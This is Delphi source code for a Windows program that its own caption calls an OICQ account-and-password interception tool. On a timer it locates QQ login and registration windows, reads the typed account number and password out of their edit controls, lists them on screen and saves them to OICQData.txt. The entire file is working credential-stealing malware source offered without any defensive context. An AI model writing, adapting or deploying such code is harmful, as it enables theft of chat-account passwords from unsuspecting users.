type
TOICQSpyFrm = class(TForm)
Label1: TLabel;
ListBox1: TListBox;
Bevel1: TBevel;
Label2: TLabel;
Button1: TButton;
ScanQQWindow: TTimer;
procedure Button1Click(Sender: TObject);
procedure ScanQQWindowTimer(Sender: TObject);
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
private
{ Private declarations }
public
{ Public declarations }
OICQID,OICQKEY,OICQID2,OICQKEY2:Array [0..255] OF Char;
OICQH,OICQT:Hwnd;
end;
var
OICQSpyFrm: TOICQSpyFrm;
implementation
{$R *.dfm}
{===================得到注册向导中输入的用户名与密码===============}
Procedure GetQQ(QQHwnd: Hwnd);
var
TempH: Hwnd;
begin
TempH := GetNextWindow(QQHwnd,GW_HWNDNEXT);
SendMessage(TempH,WM_GETTEXT,100,Integer(@OICQSpyFrm.OICQID));
TempH := GetNextWindow(TempH,GW_HWNDNEXT);
SendMessage(TempH,WM_GETTEXT,100,Integer(@OICQSpyFrm.OICQKEY));
end;
{===================得到QQ登陆的用户名与密码======================}
Procedure GetQQ2(QQHwnd:Hwnd);
var
TempH: Hwnd;
begin
TempH:=FindWindowEx(QQHwnd,0,'ComboBox',nil);
SendMessage(TempH,WM_GETTEXT,100,Integer(@OICQSpyFrm.OICQID2));
TempH:=FindWindowEx(QQHwnd,0,'Edit',nil);
SendMessage(TempH,WM_GETTEXT,100,Integer(@OICQSpyFrm.OICQKEY2));
end;
{=================================================================}
procedure TOICQSpyFrm.Button1Click(Sender: TObject);
begin
Close;
end;
procedure TOICQSpyFrm.ScanQQWindowTimer(Sender: TObject);
var
QID,QKEY,QID2,QKEY2: string;
QLongH: Hwnd;
begin
OICQSpyFrm.Caption := 'OICQ帐号密码截取程序' + FormatDateTime('yyyy年mm月dd日 dddd hh:mm:ss',Now) + ']';
OICQH:=FindWindow('#32770',nil);
QLongH:=FindWindowEx(OICQH,0,'Button','注册向导');
if QLongH<>0 then
begin
GetQQ2(OICQH);
QLongH:=FindWindowEx(OICQH,0,'Button','注册向导');
end;
if QLongH=0 then begin
QID2:=OICQID2;
QKEY2:=OICQKEY2;
{===================分析是否合法======================}
if (Length(QID2) > 4) and (Length(QKEY2) > 3) and (QID2 <> '<请在这儿输入QQ号码>') then
begin
//是的话
ListBox1.AddItem('帐号:'+QID2+' 密码:'+QKEY2,nil);
end else begin
//===不是的情况
end;
OICQID2 := '';
OICQKEY2 := '';
end;
OICQH := FindWindowEx(OICQH,0,'#32770',nil);
OICQH := FindWindowEx(OICQH,0,'Button','使用已有的QQ号码');
if OICQH <> 0 then
begin
OICQT:=OICQH;
GetQQ(OICQT);
end else begin
QID := OICQID;
QKEY := OICQKEY;
OICQID := '';
OICQKEY := '';
if (Length(QID) > 4) and (Length(QKEY) > 3) then //分析是否合法
begin
//是的话
ListBox1.AddItem('帐号:'+QID+' 密码:'+QKEY,nil);
end else begin
//===不是的情况
end;
end;
end;
procedure TOICQSpyFrm.FormCloseQuery(Sender: TObject;
var CanClose: Boolean);
begin
try
ListBox1.Items.SaveToFile('OICQData.txt');
finally
end;
end;